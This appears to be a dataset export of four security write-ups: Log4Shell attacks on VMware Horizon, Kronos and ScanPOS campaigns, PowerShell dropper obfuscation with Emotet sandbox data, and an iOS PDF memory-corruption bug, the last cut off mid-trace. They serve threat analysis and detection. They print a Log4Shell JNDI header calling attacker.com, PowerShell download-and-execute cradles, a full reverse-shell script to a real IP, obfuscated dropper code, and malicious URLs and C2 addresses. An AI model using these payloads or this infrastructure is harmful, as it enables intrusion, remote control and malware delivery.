text
stringlengths
8
115k
# Threats Looming Over the Horizon ## HorizonBackdoor – Log4Shell vulnerability leads to VMware Horizon Servers exploitation Based on several incident response investigations, Cynet has detected active exploitations of the Log4Shell vulnerability on VMware Horizon Servers by different threat actors who deployed Cobalt Strike beacons, Cryptominers, and fileless reverse shells. Additional indicators point to the Night Sky ransomware group and Memento ransomware. ### Prologue Log4j is an open-source logging framework distributed by Apache group that is widely used by well-known public services and roughly one-third of the world’s web servers. On December 9, 2021, an RCE (Remote Code Execution) vulnerability was disclosed within the log4j package (CVE-2021-44228, CVE-2021-45046) which allows an attacker to execute arbitrary code on machines that utilize the logging functionality of the log4j package giving the vulnerability its common name: Log4Shell. ### Attack scenario example: **Log4Shell JNDI attack** – An attacker can craft the following HTTP header and send it to the target application: ``` GET / HTTP/1.1 Host: vulnerable.com User-Agent: ${jndi:ldap://attacker.com/path/to/malicious/Java_class} ``` By using the technique above to exploit the vulnerability, a simple Python script can be used to trigger an RCE on a vulnerable server. Following the Log4Shell exploits, VMware reported that several of its products were vulnerable. One of the reported products is VMware Horizon, which is being used for digital workspaces that offer virtual desktops and apps across the cloud. ### Timeline of Log4Shell and VMware Horizon exploitation: - **December 9th, 2021** – Log4j vulnerabilities were discovered and classified with the CVSS score of 10 (Critical). - **December 10th, 2021** – VMware reported on Apache Log4j Remote Code Execution Vulnerabilities on several products. - **Starting January 1st, 2022** – The Cyber Security community began reporting on threat actors who are actively trying to exploit VMware Horizon while abusing the log4j vulnerability. ### Case Overview: At the beginning of January 2022, Cynet’s Orion threat research and intelligence team observed threat actors abusing the Apache Tomcat service and utilizing the Log4Shell vulnerability to exploit VMware Horizon servers to gain initial access to the environment. The threat actors deployed additional payloads and established communication to C2 servers, Cobalt Strike beacons, Cryptominers, etc. Based on the IOCs (indicators of compromise) and the TTPs (tactics, techniques, and procedures) observed, we believe that Chinese-based ransomware operators dubbed Night Sky (and tracked by Microsoft as DEV-0401) are behind some of the attacks. On January 11th, Bleeping Computer reported “Night Sky ransomware uses Log4j bug to hack VMware Horizon servers“. In addition to the Chinese-based ransomware operators, we observed unknown threat actors using Cobalt Strike on vulnerable VMware Horizon servers. These unknown threat actors abused PowerShell to load and inject a fileless beacon into the memory. ### Detection logic suggestions: The first detection suggestion is based on the above information: - **MITRE reference**: TA0001 (Initial Access), T1190 (Exploit Public-Facing Application) - **Parent process name**: ws_tomcatservice.exe - **Parent process path**: %ProgramFiles%\VMware\VMware View\Server\* - **Child process**: CMD or PowerShell In addition, we recommend monitoring all known LOLBins (Living Off the Land Binaries) that allow download or execution methods. ### Initial Access – TA0001 (Initial Access), T1190 (Exploit Public-Facing Application) Based on MITRE ATT&CK, the incidents started with the “Exploit Public-Facing Application” technique against the VMware Horizon servers. #### Case 1 – XMRig: Xmrig.exe is part of XMRig open-source CPU/GPU cryptocurrency mining software. This incident was detected on Windows Server 2016 Standard x64 and Windows Server 2019 Standard x64, both of which are VMware Horizon servers. **Execution flow:** - **Parent process**: c:\program files\VMware\VMware view\server\bin\ws_tomcatservice.exe - **Child process**: cmd /C ‘powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand JAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7A’ The above command uses System.Net.WebClient Class to access a web page, in our case the C2 server 72.46.52[.]135. The command downloads the file “mad_micky.bat” and overwrites a file located in the %temp% directory. The malicious batch file provides an indication on a PowerShell command that disables the real-time monitoring in Windows. ### Discovery When examining the discovery command on the compromised machines, we noticed that the following commands were being executed via Windows legitimate binaries: - net session - tasklist - ipconfig /all - nslookup - netstat -ano - nltest The above discovery commands are executed via the node.exe process. ### Case 2 – Cobalt Strike In this case, we detected the following execution flow: - **Parent process**: c:\program files\vmware\vmware view\server\bin\ws_tomcatservice.exe - **Child process**: powershell.exe -exec bypass -enc aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC The decoded PowerShell base64 command: ``` iex ((New-Object System.Net.WebClient).DownloadString(‘http://185.112.83[.]116:8080/drv’)) ``` ### Case 3 – Metasploit PS Reverse Shell The execution flow: - **Parent process**: c:\program files\vmware\vmware view\server\bin\ws_tomcatservice.exe - **Child process**: powershell -nop -ec JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0 The following PS script is the decoded Base64 command: ``` $client = New-Object System.Net.Sockets.TCPClient(“142.44.251[.]77”,4445); $stream = $client.GetStream(); [byte[]] $bytes = 0..65535 | %{0}; while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + “PS ” + (pwd).Path + “> “; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() ``` ### Indicator of Compromise: - **XMRig C2 server**: 72.46.52[.]135 - **Cobalt Strike C2**: 185.112.83[.]116 ### Potentially related to Night Sky ransomware: - **C2 server**: api[.]rogerscorp[.]org This document outlines the threats and exploitation techniques related to the Log4Shell vulnerability and its impact on VMware Horizon servers.
# Kronos Banking Trojan Used to Deliver New Point-of-Sale Malware **November 15, 2016** **Proofpoint Staff** ## Overview Banking Trojans continue to evolve, and threat actors are using them in new ways, even as the massive Dridex campaigns of 2015 have given way to ransomware and other payloads. Most recently, we observed several relatively large email campaigns distributing the Kronos banking Trojan. In these campaigns, Kronos acted as a loader with a new Point-of-Sale (POS) malware dubbed ScanPOS as the secondary payload. These campaigns not only represent an uptick in our observed instances of Kronos banker but also a new application of the malware that was first introduced in June 2014. ## Email Campaigns On November 10 and 14, Proofpoint observed several large email campaigns of tens of thousands of messages each, targeting a range of verticals including hospitality, higher education, financial services, and healthcare. The relative volumes by vertical are shown in Figure 1. These campaigns reached global audiences but primarily targeted the United Kingdom and North America. The email messages contained a document attachment or a link such as `hxxp://intranet.excelsharepoint[.]com/profile/Employee[.]php?id=[base64 encoded e-mail address]`. This domain is under attacker control but pretends to be associated with Microsoft SharePoint. Clicking the link causes the targeted user to download a malicious document. The documents we observed contained a macro which downloaded Kronos from a URL such as `hxxp://info.docs-sharepoint[.]com/officeup[.]exe`. The Kronos payload had a command and control (C&C) of `hxxp://www.networkupdate[.]club/kbps/connect[.]php`. The Kronos payloads received tasks to download at least three different payloads from the following URLs: - `hxxp://networkupdate[.]online/kbps/upload/c1c06f7d[.]exe` - Smoke Loader - `hxxp://networkupdate[.]online/kbps/upload/1f80ff71[.]exe` - Smoke Loader - `hxxp://networkupdate[.]online/kbps/upload/a8b05325[.]exe` - ScanPOS Both Smoke Loader payloads were configured to use `hxxp://webfeed.updatesnetwork[.]com/feedweb/feed[.]php` as their C&C. So far, we have not observed any additional payloads associated with these two Smoke Loader samples. However, we have observed a ZeuS variant payload being downloaded by a different Smoke Loader sample using the same C&C. The third payload we observed is a new Point-of-Sale (POS) malware called ScanPOS that is capable of exfiltrating via HTTP credit card numbers that are discovered by searching in the memory of running processes. This new POS variant only has a single, hard-coded C&C: `hxxp://invoicesharepoint[.]com/gateway[.]php`. As with several other domains described here, these pretend to be associated with Microsoft SharePoint but are independent and under attacker control. Exfiltrated data is base64 encoded and includes: - The stolen track data - The process in which the data was found - The username ## Other Activity In a November 8 campaign that preceded this activity, we observed similar emails and URLs following the same pattern as those used to deliver Kronos. However, in this campaign, we observed links leading to RIG-v Exploit Kit (EK), followed by a redirect to ZIP-compressed .pif Smoke Loader and ZeuS. The links followed a pattern that was very similar to the more recent campaigns: `hxxp://invoice.docs-sharepoint[.]com/profile/profile[.]php?id=[base64 e-mail address]`. These links utilized an iframe to redirect potential victims to a RIG-v instance located at `add.souloventure[.]org`. Unfortunately, we did not observe any payloads delivered through this particular redirect chain. The `/download.php` returns an `EmployeeID-47267.zip` payload that we observed containing either a Smoke Loader variant or a ZeuS variant. In the instance where we observed Smoke Loader, it downloaded an identical (same hash) ZeuS variant. ## Conclusion The campaigns distributing ScanPOS are heavily targeted at the hospitality vertical in North America and the UK, among other countries that observe the Christmas and/or Thanksgiving holidays. With the holidays approaching and their associated heavy travel and shopping, organizations should be especially vigilant with respect to potential infection with POS malware, banking Trojans, and other malware that may be used to exploit seasonal trends. We will continue to monitor Kronos campaigns, ScanPOS distribution, and other threats as they emerge.
# Powershell Static Analysis & Emotet Results **Warning:** This blog post contains malicious URLs, don't open them. **Note:** Scroll down if you're only interested in the Emotet results. ## Powershell Twirks Due to a high number of Powershell droppers in our public cloud, we’ve implemented an engine for Powershell that translates Powershell into an AST, deobfuscates it, and runs various high-level static analysis algorithms on the deobfuscated AST. For specific use-cases, a limited Powershell emulator has also been implemented. We wanted to share some interesting features of the Powershell language (naturally accompanied with various obfuscation techniques) and provide results and statistics from Powershell-related samples submitted to tria.ge. We’re going to start out with the simplest version to download a file in Powershell. Almost all Powershell droppers use this technique (or the `DownloadString` version that fetches the URL in-memory) to obtain the real payload from a URL that’s often only online for a very limited period of time. ```powershell (new-object net.webclient).downloadfile('hxxp://www.kuaishounew.com/wget.exe','wget.exe'); ``` Keeping that in mind, most simple Powershell droppers are structured as follows: determine some payload filename, set up one or more URLs, iterate through each URL and try to download it, and if successful (the file size is more than a couple of kilobytes), then execute it as a new process. ```powershell $path = "..."; $web = New-Object net.webclient; $urls = "url1,url2,url3,url4,url5".split(","); foreach ($url in $urls) { try { $web.DownloadFile($url, $path); if ((Get-Item $path).Length -ge 30000) { [Diagnostics.Process]::Start($path); break; } } catch{} } ``` Powershell being a dynamic scripting language, it’s possible to do things in multiple ways. For example, calling the `New-Object` cmdlet can also be expressed with its string obfuscated through the dot expression. ```powershell .('new-'+'o'+'bjec'+'t') NET.weBCLIENt ``` Or through the similar amp expression. Naturally, Powershell allows escape sequences, so there can be backticks in the identifier. ```powershell &('ne'+'w-'+'o'+'bject') nET.wE`BCLieNT ``` Or at the beginning of an identifier. ```powershell New-Object nET.`wE`BCLieNT ``` Or at the end of an identifier. ```powershell .('new-obje'+'c'+'t') net`.WebClIe`Nt ``` In order to make Powershell a truly dynamic language, it shall be possible to use a string as method/field identifier (this calls `DownloadFile` on the `net.webclient` object). This string identifier may also contain backticks. ```powershell $Glmodecoxsyda."dO`WnlO`ADfILE"($Muyiwcipde, $Waazouqp); ``` There are many ways to obfuscate a string or an array. Most of the time the `split` method is called on a string to obtain an array. ```powershell $VlR='hxxp://kulikovonn.ru/l5vT7q19U@hxxp://optics-line.com/vUUp9ygDE@hxxp://lonestarcustompainting.com/BLC3RY4O@hxxp://montegrappa.com.p ``` ```powershell PS C:\Users\Administrator> $VlR hxxp://kulikovonn[.]ru/l5vT7q19U hxxp://optics-line[.]com/vUUp9ygDE hxxp://lonestarcustompainting[.]com/BLC3RY4O hxxp://montegrappa[.]com[.]pa/OkyoMANm hxxp://kristianmarlow[.]com/mhFm2oA4Q ``` There’s also a string formatting operator for “smart” concatenation operations, in this case resulting in the string "hello". ```powershell PS C:\Users\Administrator> "{1}{0}"-f("{1}{0}"-f'o','ll'),'he' hello ``` In practice, this may look as follows. ```powershell $QxB__QxB=("{43}{19}{27}{11}{38}{23}{26}{34}{33}{25}{21}{3}{6}{32}{10}{14}{17}{45} {40}{9}{31}{13}{24}{2}{44}{41}{28}{12}{8}{29}{47}{22}{39}{48}{7}{36}{49}{37}{18}{35} {20}{4}{42}{0}{1}{5}{30}{16}{46}{15}"-f ("{0}{4}{1}{2}{3}" -f ("{1}{2}{0}{3}"-f'drago',':','//','n'), 'a','n','g.','f'), ("{1}{0}{2}" -f'a',("{1}{0}" -f'm/n','co'),'v'),'c','u', ("{2}{0}{1}"-f 'n4/','@ht','j'),'/d','zx.', ("{1}{2}{5}{3}{0}{4}"-f("{1}{0}"-f':/','http'),'h/S','k',("{0}{1}" -f 'E','A/@'),'/di','hH'),'/w','htt','/',("{0}{1}" -f'con','t'), 'm','pro','wp','/','fe','-i',("{0}{1}"-f ("{1}{0}" -f 'com','lat.'),'/'),("{1}{0}" -f("{0}{1}" -f'tp',':/'),'t'),'O',("{0}{1}" -f 'c',("{0}{1}" -f'hun','b')),'em',("{0}{1}"-f ("{1}{0}" -f'S8','2t'),'A'), ("{1}{0}" -f'ha','fit'),("{1}{0}" -f'ww.','/w'),'/@',("{1}{4}{3}{0}{2}" -f ("{1}{0}"-f't.','sa'),'/ww',("{0}{1}{2}"-f 'co','m/','wp-'), 'att','w.l'),'co','p-c','w',("{1}{0}" -f'//','ps:'),'com','/', ("{1}{0}"-f'ps:','htt'),("{0}{1}"-f 'fl','v/'),'ego','b',("{1}{0}" -f 't/','en'),("{0}{1}"-f ("{1}{0}" -f 'k','es/s'),'et'), ("{0}{1}{2}" -f ("{1}{0}" -f'/','des'),'I2','/@'),'.','tp','h','k',("{1}{0}" -f 'clu','n'),'O',("{2}{0}{1}"-f("{0}{1}" -f'ten','t'),'/th', 'on'),'c',("{0}{1}" -f 'gr','im'))."spl`It"('@') ``` ```powershell PS C:\Users\Administrator> $QxB__QxB hxxp://www[.]lattsat[.]com/wp-content/2tS8A/ hxxps://www[.]chunbuzx[.]com/wp-includes/I2/ hxxps://profithack[.]com/wp-content/themes/sketch/SkhHEA/ hxxp://diegogrimblat[.]com/flv/Ojn4/ hxxp://dragonfang[.]com/nav/dwfeO/ ``` Clearly building upon earlier constructs, the `split` method identifier may also be obfuscated with string concatenation. To make matters more interesting, object methods have methods of their own, in this case `Invoke` to execute the method with the arguments provided to the `Invoke` method. ```powershell ("<urlshere>").("{0}{1}"-f'Spl','it').Invoke('@') ``` Also note that it’s possible to do Powershell programming without the space bar as most operators can be put right behind each other without whitespaces in-between. ```powershell PS C:\Users\Administrator> 5 -band 3 1 ``` ```powershell PS C:\Users\Administrator> 5-band3 1 ``` ```powershell PS C:\Users\Administrator> "1","3"-join"2" 123 ``` The `-split` operator is interesting because the assumption is that it would return a list of strings, which it probably does. But then if you have multiple `-split` operators following one another, you appear to get a flat list too, so probably `-split` can work on both strings and arrays. Note that the string separator may also be an integer, internally probably casted to be a string. ```powershell PS C:\Users\Administrator> "he4llo0w1rld" -split "4" -split 0 -split "1" he llo w rld ``` Like most scripting languages, it’s possible to execute arbitrary Powershell code at runtime (like `eval()` in Javascript). This is the `Invoke-Expression` cmdlet or `iex` short and looks as follows. ```powershell PS C:\Users\Administrator> iex 'write-host 1' 1 ``` Since Powershell can handle command-line invocations, it also has a built-in pipe operator. ```powershell PS C:\Users\Administrator> 'write-host 1'|iex 1 ``` To avoid specifically mentioning the `iex` string, many droppers use global Powershell variables to construct the string at runtime paired with the dot and amp expressions. One may find the `$ENV` variable to be interesting too or at least how it’s pretty much the only thing that’s indexed with a colon identifier (`:comspec`, with `COMSPEC` being a Windows environment variable). Each of the following expressions are equivalent to just writing out `Invoke-Expression` directly. ```powershell &( $VERBOSePREFerence.TOSTRinG()[1,3]+'x'-JOiN'') & ( $SheLLId[1]+$shEllId[13]+'x') &( $EnV:cOmSpEc[4,15,25]-JOIN'') ``` Additionally, yes, there’s also a `Set-Alias` cmdlet (or `sal` short) that’s capable of essentially symlinking a method or cmdlet to another name in Powershell. ```powershell PS C:\Users\Administrator> sal ping iex;ping("write-host 1") 1 ``` With the knowledge from all the above, we can now move into deobfuscating the first layer of the following Powershell dropper. It first removes garbage characters through the `-split` operator and then iterates over each character using the `foreach-object` cmdlet and `-bxor` operator, that performs a binary xor operation, to get the deobfuscated string. Interestingly, both operands to the `-bxor` operator are integer strings, one regular number (base10) and one hexadecimal number (base16). Snippet somewhat shortened for improved visibility. ```powershell iNVoKE-expREsSIOn( [sTRIng]::joIn('', ('16,102e94&92D9&90,81~67O25D91O86D94&81,87e64{20- 122O81{64e26{99~81s86s119D88~93~81e90&64e15D16&109O89s123e9R19~92O64O64{68,14~27~27O67 76-68-70D93O90{64R26&70e65&27D64{85,80~5~97D7D126e85e89~6,27'-sPLiT 'd' -sPlIt '~' - SPlit ','-sPlIt'S'-SpLIt '-'-sPlIT '&' -Split 'e' -sPLIT '{' -SpLIt'O'-SpliT 'r' | fOREAcH-ObjEct{[cHaR] ($_ -BXOr "0x34") }))) ``` (This calls `Invoke-Expression` with the following string, shortened for visibility). ```powershell $Rjh=new-object Net.WebClient;$YmO='http://www[.]jxprint[.]ru/tad1U3Jam2/... ``` The next step in obfuscation includes adding a base64 blob that’s executed (snippet shortened) using `[System.Convert]::FromBase64String(...)`. ```powershell invoke-expression([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(' ``` (This calls `Invoke-Expression` with the following string, shortened for visibility). ```powershell $path = $env:TEMP + '\Any Name.exe'; (New-Object System.Net.WebClient).DownloadFile('http://hbse... ``` And if that’s not enough, one can always spice it up with a deflate/zlib stream (snippet shortened) using `New-Object System.IO.Compression.DeflateStream(...)`. ```powershell &( $VERBOSePREFerence.TOSTRinG()[1,3]+'x'-JOiN'') (New-OBjeCt Io.StrEaMrEADeR( ( New-OBjeCt sYStEm.iO.compResSioN.DeFLaTeSTREAM([iO.mEmoRySTream] [sysTEM.ConVert]::frOMBASE64STrING( ('V'+'dHR'+'at'+'swFA'+'bgV9G'+'F'+'QQl'+'Z7H'+'Z4'+'g9YYK'+'lfUZGxrvRBqQi'+'H'+'I'+'6 ),[SYstEm.IO.ComPresSIOn.COmpRESSionModE]::DECOmPreSs)), [sySTeM.TExt.encOdiNG]::Ascii) ).ReadToeNd( ) ``` But what if we obfuscate the `Set-Alias` parameter? This example casts an array of integers to an array of characters and then to a string (the string "ieX"). The `Set-Alias` command then aliases the `sy` identifier to the "ieX", which is equivalent to `iex` and thus `Invoke-Expression`. ```powershell $qG=[string][char[]]@(0x69,0x65,0x58) -replace ' ','';sal sy $qG;$Wg=((New-Object Net.WebClient)).DownloadString('hxxp://windowsdressedup.com/admincontrol/out- 75927603.ps1');sy $Wg ``` Next to the `foreach-object { ... }` construct, there’s also the shorter `% { ... }` construct, both working with the pipe operator, accepting an item or an array of items. The following results in `hello`. ```powershell ((104, 101, 108, 108, 111) | %{([char] [int] $_)})-jOIN'' ``` Fun fact: if you replace `[char] [int]` in the snippet above with `[ChAR] [iNt]` (as was the case in the sample where this example originated from), then Powershell on Windows 10 may avoid running it and throw the "This script contains malicious content and has been blocked by your antivirus software." error. This is what we call the Spongebob filter :-) Now that you’ve seen almost everything, we’re introducing the `foreach` language construct as an obfuscated string. One might expect this to be a language keyword/statement, but well, here goes. This also results in `hello`. ```powershell ((104, 101, 108, 108, 111) | .('for'+'E'+'ach') { ([char][int]$_)})-jOIN'' ``` In case you’re not convinced by the power of Powershell yet, Powershell has a concept of generic strings that essentially represent plaintext code that can’t possibly be correct Powershell code. In other words, it’s possible to write down URLs without quotes as one would normally define one or more strings. Not unsurprisingly, the comma is actually interpreted correctly and the below `-Source` parameter of `Start-BitsTransfer` results in an array of 3 URLs. ```powershell Import-Module BitsTransfer; Start-BitsTransfer -Source hxxps://raw.githubusercontent.com/jocofid282/tewsa/master/blow.exe,hxxps://raw.githubu -Destination "$env:TEMP\blow.exe","$env:TEMP\dera","$env:TEMP\JvlpB.exe" ``` Fortunately for us, the .NET engine also knows the concept of Secure Strings. Since some of our samples in production decrypt “secure strings” and then execute the plaintext code resulting from it, we have implemented this behavior too. While we were initially startled by the fact that the SecureString took around a 10x increase in size when compared to the plaintext string, this fact is quickly explained by the decryption process. The SecureString is essentially a hex encoded AES CBC encrypted UTF16 encoded string. This string is then joined with the SecureString version number and the Initialization Vector (which itself is base64 encoded), UTF16 encoded, base64 encoded, and finally a magic header is slapped onto it. In terms of Powershell fun & quirks, this is it for today, although there’s plenty more to talk about: wildcards, reflection, Powershell executing x86 shellcode, etc. ## Emotet Results in Production We’ve had quite some people submit Powershell-based payloads to our public cloud, partially due to our Emotet configuration extractor, but also due to numerous other malware samples that are being uploaded on a daily basis. Furthermore, we implemented a Powershell static analysis library capable of handling the above Powershell quirks and around 99% of the Powershell payloads that we’ve seen in our production environment at tria.ge. Combining these two facts, we arrived at the following conclusion: Giving back to the community, we’re releasing polished sandbox results on more than 50,000 unique malware samples that we believe to be Emotet-related. An example entry of polished analysis with all artifacts available (with sha256 and sha512 hashes removed for visibility): ```json { "family": "emotet", "taskid": "200101-1s48ckzwxj", "archive": { "md5": "40cb422a49bfa7ae143156f73dba4149", "sha1": "6d97ee9291d0b9ad64e2c8da30c945dfa706809d" }, "document": { "md5": "c2f04f8e408daf34a47cce39d492902e", "sha1": "70ed95f2bba918fc1833f4eafa0f780cdcfa4711" }, "dropper": { "cmdline": "Powershell -w hidden -en JABGAG4AZwBpAGEAdQB1AGoAeABrAHQAPQAnAFcAagBvAHgAdQB3AHkAdwB2ACcAOwAkAFYAdQBpAHYAZgBkAH", "urls": [ "http://macomp.co.il/wp-content/d78i3j-pkx6legg5-92996338/", "http://naymov.com/ucheba/kvl0vss-qrex4-501625964/", "http://neovita.com/iwa21/ZvfClE/", "http://nfsconsulting.pt/cgi-bin/YylxPF/", "http://nitech.mu/modules/TYJwbOkm/" ] }, "payload": { "filepath": "C:\\Users\\Admin\\844.exe", "md5": "8565d2e08b151eac88953b4f244502fd", "sha1": "a6102580563981dd6a3d399ea524248d716d2022" }, "emotet": { "pubkey": "-----BEGIN PUBLIC KEY-----\nMHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAMqZMACZDzcRXuSnj2OI8LeIYKrbUIXL\nfaUgIJPwYd305HnaBS\n-----END PUBLIC KEY-----\n", "c2": [ "85.100.122.211:80", "78.189.165.52:8080", "88.248.140.80:80", "45.79.75.232:8080", "124.150.175.133:80" ] } } ``` Some more information on the data file: - Each line contains one JSON blob detailing one Emotet analysis. - The `taskid` field links to the task ID on tria.ge, our cloud sandbox. E.g., the first entry (200101-1dghyjegsn) equals the analysis at 200101-1dghyjegsn. - The `archive` hashes, if present, contain the hashes of the archive that was submitted to Triage. E.g., if the sample was delivered as an Office document in a Zip file. - The `document` hashes contain the hashes of the Office dropper document or, if the Emotet payload was submitted directly, the Emotet payload. - The `dropper` entry, if present, contains information on the executed Powershell payload and the Dropper URLs that we extracted from this Powershell payload. One may find that many different Office documents execute the exact same Powershell payload, but that doesn’t make the sample hashes irrelevant. - The `payload` hashes, if present, contain the hashes of the dropped Emotet payload. - The `emotet` entry, if present, contains the RSA Public Key as well as C2 information embedded in the Emotet payload. ## Conclusion We’ve implemented a Powershell deobfuscator and emulator that’s capable of handling the vast majority of Powershell payloads that we see in our public cloud. As always, we will continue to improve our sandboxing tooling to improve handling specific use-cases and we’re going to keep an eye on all newly submitted (Powershell and other) samples! If any customers or (potential) users would like to use any of our static analysis capabilities standalone from the sandboxing side of things or if there are other requests related to our sandbox, please do reach out to us. Happy hunting & analyzing and stay tuned for our upcoming blog posts!
# The Recent iOS 0-Click, CVE-2021-30860, Sounds Familiar. An Unreleased Write-up: One Year Later **By ZecOps Research Team** **September 14, 2021** **TLDR;** ZecOps identified and reproduced an Out-Of-Bounds Write vulnerability that can be triggered by opening a malformed PDF. This vulnerability reminded us of the FORCEDENTRY vulnerability exploited by NSO/Pegasus according to the CitizenLabs blog. As a brief background: ZecOps analyzed several devices of Al-Jazeera journalists in the summer of 2020 and automatically and successfully found compromised devices without relying on any IOC. These attacks were later attributed to NSO/Pegasus. ZecOps Mobile EDR and Mobile XDR are available here. Noteworthy, although these two vulnerabilities are different, they are close enough and worth a deeper read. ## Timeline: - We reported this vulnerability on September 1st, 2020 – iOS 14 beta was vulnerable at the time. - The vulnerability was patched on September 14th, 2020 – iOS 14 beta release. - Apple contacted us on October 20, 2020 – claiming that the bug was already fixed – (“We were unable to reproduce this issue using any current version of iOS 14. Are you able to reproduce this issue using any version of iOS 14? If so, we would appreciate any additional information you can provide us, such as an updated proof-of-concept.”). - No CVE was assigned. It is possible that NSO noticed this incremental bug fix and dived deeper into CoreGraphics. ## The Background Earlier last year, we obtained a PDF file that cannot be previewed on iOS. The PDF sample crashes previewUI with a segmentation fault, meaning that a memory corruption was triggered by the PDF. The important question is: how do we find out the source of the memory corruption? The MacOS preview works fine, no crash. Meaning that it’s the iOS library that might have an issue. We confirmed the assumption with the iPhone Simulator, since the crash happened on the iPhone Simulator. It’s great news since Simulator on MacOS provides better debug tools than iOS. However, having debug capability is not enough since the process crashes only when the corrupted memory is being used, which is AFTER the actual memory corruption. We need to find a way to trigger the crash right at the point the memory corruption happens. The idea is to leverage Guard Malloc or Valgrind, making the process crash right at the memory corruption occurs. “Guard Malloc is a special version of the malloc library that replaces the standard library during debugging. Guard Malloc uses several techniques to try and crash your application at the specific point where a memory error occurs. For example, it places separate memory allocations on different virtual memory pages and then deletes the entire page when the memory is freed. Subsequent attempts to access the deallocated memory cause an immediate memory exception rather than a blind access into memory that might now hold other data.” ## Environment Variables Injection In this case, we cannot simply add an environment variable with the command line since the previewUI launches on clicking the PDF which does not launch from the terminal; we need to inject libgmalloc before the launch. The process “launchd_sim” launches Simulator XPC services with a trampoline process called “xpcproxy_sim”. The “xpcproxy_sim” launches target processes with a posix_spawn system call, which gives us an opportunity to inject environment variables into the target process, in this case “com.apple.quicklook.extension.previewUI”. The following lldb command “process attach –name xpcproxy_sim –waitfor” allows us to attach xpcproxy_sim then set a breakpoint on posix_spawn once it’s launched. Once the posix_spawn breakpoint is hit, we are able to read the original environment variables by reading the address stored in the $r9 register. By a few simple lldb expressions, we are able to overwrite one of the environment variables into “DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib”, injection complete. Continuing execution, the process crashed almost right away. ## Analyzing the Crash Finally, we got the Malloc Guard working as expected; the previewUI crashes right at the memmove function that triggers the memory corruption. After libgmalloc injection, we have the following backtrace that shows an Out-Of-Bounds write occurs in “CGDataProviderDirectGetBytesAtPositionInternal”. ``` Thread 3 Crashed:: Dispatch queue: PDFKit.PDFTilePool.workQueue 0 libsystem_platform.dylib 0x0000000106afc867 _platform_memmove$VARIANT$Nehalem + 71 1 com.apple.CoreGraphics 0x0000000101b44a98 CGDataProviderDirectGetBytesAtPositionInternal + 179 2 com.apple.CoreGraphics 0x0000000101d125ab provider_for_destination_get_bytes_at_position_inner + 562 3 com.apple.CoreGraphics 0x0000000101b44b09 CGDataProviderDirectGetBytesAtPositionInternal + 292 4 com.apple.CoreGraphics 0x0000000101c6c60c provider_with_softmask_get_bytes_at_position_inner + 611 5 com.apple.CoreGraphics 0x0000000101b44b09 CGDataProviderDirectGetBytesAtPositionInternal + 292 6 com.apple.CoreGraphics 0x0000000101dad19a get_chunks_direct + 242 7 com.apple.CoreGraphics 0x0000000101c58875 img_raw_read + 1470 8 com.apple.CoreGraphics 0x0000000101c65611 img_data_lock + 10985 9 com.apple.CoreGraphics 0x0000000101c6102f CGSImageDataLock + 1674 10 com.apple.CoreGraphics 0x0000000101a2479e ripc_AcquireRIPImageData + 875 11 com.apple.CoreGraphics 0x0000000101c8399d ripc_DrawImage + 2237 12 com.apple.CoreGraphics 0x0000000101c68d6f CGContextDrawImageWithOptions + 1112 13 com.apple.CoreGraphics 0x0000000101ab7c94 CGPDFDrawingContextDrawImage + 752 ``` With the same method, we can take one step further; with the MallocStackLogging flag libgmalloc provides, we can track the function call stack at the time of each allocation. After setting the “MallocStackLoggingNoCompact=1”, we got the following backtrace showing that the allocation was inside CGDataProviderCreateWithSoftMaskAndMatte. ``` ALLOC 0x6000ec9f9ff0-0x6000ec9f9fff [size=16]: 0x7fff51c07b77 (libsystem_pthread.dylib) start_wqthread | 0x7fff51c08a3d (libsystem_pthread.dylib) _pthread_wqthread | 0x7fff519f40c4 (libdispatch.dylib) _dispatch_workloop_worker_thread | 0x7fff519ea044 (libdispatch.dylib) _dispatch_lane_invoke | 0x7fff519e9753 (libdispatch.dylib) _dispatch_lane_serial_drain | 0x7fff519e38cb (libdispatch.dylib) _dispatch_client_callout | 0x7fff519e2951 (libdispatch.dylib) _dispatch_call_block_and_release | 0x7fff2a9df04d (com.apple.PDFKit) __71-[PDFPageBackgroundManager forceUpdateActivePageIndex:withMaxDuration:]_block_invoke | 0x7fff2a9dfe76 (com.apple.PDFKit) -[PDFPageBackgroundManager _drawPageImage:forQuality:] | 0x7fff2aa23b85 (com.apple.PDFKit) -[PDFPage imageOfSize:forBox:withOptions:] | 0x7fff2aa23e1e (com.apple.PDFKit) -[PDFPage _newCGImageWithBox:bitmapSize:scale:offset:backgroundColor:withRotation:withAntialiasi | 0x7fff2aa22a40 (com.apple.PDFKit) -[PDFPage _drawWithBox:inContext:withRotation:isThumbnail:withAnnotations:withBookmark:withDeleg | 0x7fff240bdfe0 (com.apple.CoreGraphics) CGContextDrawPDFPage | 0x7fff240bdac4 (com.apple.CoreGraphics) CGContextDrawPDFPageWithDrawingCallbacks | 0x7fff244bb0b1 (com.apple.CoreGraphics) CGPDFScannerScan | 0x7fff244bab02 (com.apple.CoreGraphics) pdf_scanner_handle_xname | 0x7fff2421e73c (com.apple.CoreGraphics) op_Do | 0x7fff2414dc94 (com.apple.CoreGraphics) CGPDFDrawingContextDrawImage | 0x7fff242fed6f (com.apple.CoreGraphics) CGContextDrawImageWithOptions | 0x7fff2431999d (com.apple.CoreGraphics) ripc_DrawImage | 0x7fff240ba79e (com.apple.CoreGraphics) ripc_AcquireRIPImageData | 0x7fff242f6fe8 (com.apple.CoreGraphics) CGSImageDataLock | 0x7fff242f758b (com.apple.CoreGraphics) img_image | 0x7fff24301fe2 (com.apple.CoreGraphics) 